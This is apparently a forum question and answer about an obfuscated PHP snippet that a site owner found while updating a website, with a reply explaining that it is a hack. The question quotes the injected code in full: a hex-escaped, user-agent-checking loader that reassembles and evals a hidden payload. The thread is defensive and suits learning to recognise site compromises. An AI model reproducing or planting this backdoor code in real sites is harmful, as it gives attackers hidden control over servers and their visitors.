What does this piece of code mean in PHP? - php

Question

Upon updating a PHP website, I came across this piece of code.
It doesn't make any sense.
What could be this??
An attack on website or something???
<?php
if (!isset($GLOBALS["\x61\156\x75\156\x61"]))
{
$ua = strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]);
if ((!strstr($ua, "\x6d\163\x69\145")) && (!strstr($ua, "\x72\166\x3a\61\x31")) && (!strstr($ua, "\x61\156\x64\162\x6f\151\x64")) && (!strstr($ua, "\x6d\157\x62\151\x6c\145")) && (!strstr($ua, "\x69\160\x68\157\x6e\145")) && (!strstr($ua, "\x69\160\x61\144")) && (!strstr($ua, "\x6f\160\x65\162\x61\40\x6d"))) $GLOBALS["\x61\156\x75\156\x61"] = 1;
} ?><?php
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function fjfgg(pmpusut)tpqssutRe%x5c%x7825)Rd%x#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x78osvufs}w;*%x5c%x787f!>>%x5c%x75c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x78!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%257>%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x782x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<%x5c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x782]81#%x5c%x782f#7e:5594%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvrf{jt)!gj!<*2bd%x5c%x7825-#1G8X6<#o]o]Y%x5c%x78257;5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x%x5c%x7824<%x5c%x78e%x5c%x7%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323z#%x5c%x785cq%x5c%x78257%x5c%x782f7###7%x5c%x782f7^#iubq#%xy7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782x782f###%x5c%x782fqp%x5c%x7825>5h%x5c%x7x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7820hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x787863%x74%141%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"]fbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#8{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3>2b%x5c%x7825!<*qp%x5c%x71*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x76*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78y<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825b825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]567860cpV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x7824-%x5c%x7824-!%utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI7jsv%25!-#2#%x5c%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjgAmqnj!%x5c%x782f!#0#)idubn%x5c%x786x5c%x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x78{hnpd!opjudovg!|!**#j{hnpd]452]88]5]48]32M3]317]445]212]4tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;5tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x5P6]36]73]83]238M7]381]211M5]67%x7825j,,*!|%x5c%x7824-55%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163%x74%162%85-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e27rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!~!ds822!pd%x5c%x7825)!gj}Z;h!o:|:**t%x5c%x7825)m%x5c%x7!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*Xbek!~!<b%x5c%x7825%x5c%x787f!5c%x7825o:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x52]38y]572]48y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]!%x5c%x7825mm!>!#]y81]%x7825:osvufs:~:<*9-1-r%x5c%x782y74]256]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>27!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7O%x5c%x7822#)fepmqyfAW~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tus%x7825):fmji%x5c%x7878:<##:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fu*qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x78!%x5c%x78242178}527}88:}334}472%x5c%x7824<!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j8Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x7878825>j%x5c%x7825!<**3-!OVMM*<%x22%51%x29%51%x29%73", NULL); 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$ocskvyfdqx = explode(chr((235 - 191)) , '818,35,4175,64,3243,58,10019,21,1481,56,7033,33,9024,59,5326,57,1686,59,9997,22,6700,49,9235,48,957,43,2373,61,9124,24,3546,52,6656,44,4065,66,7902,34,4455,34,3502,44,7578,38,9473,37,3774,22,4735,58,84,22,5432,56,3405,49,6749,60,2571,34,1646,20,9331,57,3678,68,3923,58,7256,68,6588,68,530,48,1084,48,1745,24,2605,28,4959,49,9839,27,9193,42,8579,38,1666,20,5865,57,128,44,2749,63,6984,49,9442,31,7851,51,2900,29,5164,55,9168,25,2180,68,230,39,5601,37,9148,20,3375,30,5550,26,2057,49,9739,38,9580,67,7936,31,6407,67,3598,58,9388,54,6122,48,6528,21,7155,52,7124,31,7642,45,9510,70,8087,65,5107,26,2633,24,780,38,8351,44,300,44,3746,28,6170,21,4386,25,4548,64,8617,42,2472,70,6944,40,4025,40,8971,53,853,23,4297,38,578,30,3156,28,269,31,5008,34,4131,44,3301,32,2689,60,1270,42,3112,44,608,29,3874,49,5703,29,425,52,1170,68,6317,48,3184,37,8812,25,1623,23,8680,60,2812,20,6809,64,7427,68,1572,21,6256,61,8740,31,2657,32,8524,55,8495,29,6083,39,1132,38,4664,47,5638,65,7519,59,2029,28,1359,45,2991,52,637,40,4335,51,8837,31,8771,41,3454,48,5042,65,4793,69,5922,55,2106,27,8659,21,6031,52,8206,63,9083,41,42,42,404,21,2133,47,5999,32,9777,62,2929,62,1593,30,5576,25,3221,22,6227,29,1846,69,4612,52,5796,69,9923,27,6365,42,5977,22,1537,35,8305,46,4711,24,724,56,1312,47,2832,68,1029,55,6915,29,677,47,477,53,5303,23,8449,46,8395,54,5488,62,4239,58,8929,42,6873,42,8152,54,7495,24,1820,26,9711,28,876,53,2314,59,6474,54,6191,36,2248,66,929,28,7207,49,1915,70,5219,54,4862,47,1404,54,5383,49,3656,22,1985,44,7324,34,4909,50,9950,47,2434,38,2542,29,7616,26,7828,23,1769,51,4489,59,7066,58,1000,29,9283,48,5273,30,5133,31,9866,57,0,42,7967,50,3796,51,5732,64,9647,64,4411,44,7752,37,8269,36,7789,39,7687,65,10040,66,106,22,3043,69,3847,27,7358,69,8868,61,3333,42,344,60,1458,23,3981,44,172,58,8017,70,1238,32,6549,39');
$niqesrdxdn = substr($vwxsajnbcm, (32536 - 22430) , (34 - 27));
if (!function_exists('zzrfhvkcwo'))
{
function zzrfhvkcwo($znzwjxpcyc, $lfafkymhqq)
{
$xnhcrqpkcp = NULL;
for ($gznncvjdur = 0; $gznncvjdur < (sizeof($znzwjxpcyc) / 2); $gznncvjdur++)
{
$xnhcrqpkcp.= substr($lfafkymhqq, $znzwjxpcyc[($gznncvjdur * 2) ], $znzwjxpcyc[($gznncvjdur * 2) + 1]);
}
return $xnhcrqpkcp;
};
}
$zwqshkkfti = "\x20\57\x2a\40\x6b\170\x70\153\x66\170\x64\171\x64\142\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\70\x32\55\x31\64\x35\51\x29\54\x20\143\x68\162\x28\50\x34\65\x30\55\x33\65\x38\51\x29\54\x20\172\x7a\162\x66\150\x76\153\x63\167\x6f\50\x24\157\x63\163\x6b\166\x79\146\x64\161\x78\54\x24\166\x77\170\x73\141\x6a\156\x62\143\x6d\51\x29\51\x3b\40\x2f\52\x20\144\x76\155\x63\147\x72\163\x76\153\x68\40\x2a\57\x20";
$fqlqhefvbx = substr($vwxsajnbcm, (52826 - 42713) , (57 - 45));
$fqlqhefvbx($niqesrdxdn, $zwqshkkfti, NULL);
$fqlqhefvbx = $zwqshkkfti;
$fqlqhefvbx = (686 - 565);
$vwxsajnbcm = $fqlqhefvbx - 1; ?>

Answer 1

Yes. It's a hack. The randomly-generated variable names, etc. both obfuscate the content and make it less easy to search for using scanners—the code will do the same thing, but using different variable names, etc., on each site, so you can't just search for specific strings to find it. Here's another example of what looks like the same hack.
You should remove the code, but of course that won't remove whatever vulnerability allowed the hacker to put it there in the first place, so you need to audit the site and fix that, too. That's way beyond the scope of an answer here, and off-topic for Stack Overflow, too. (You may have more luck on http://security.stackexchange.com, but check their help centre before posting...)
Is this a WordPress website, too? I'd carefully follow all the advice in FAQ "My Site Was Hacked".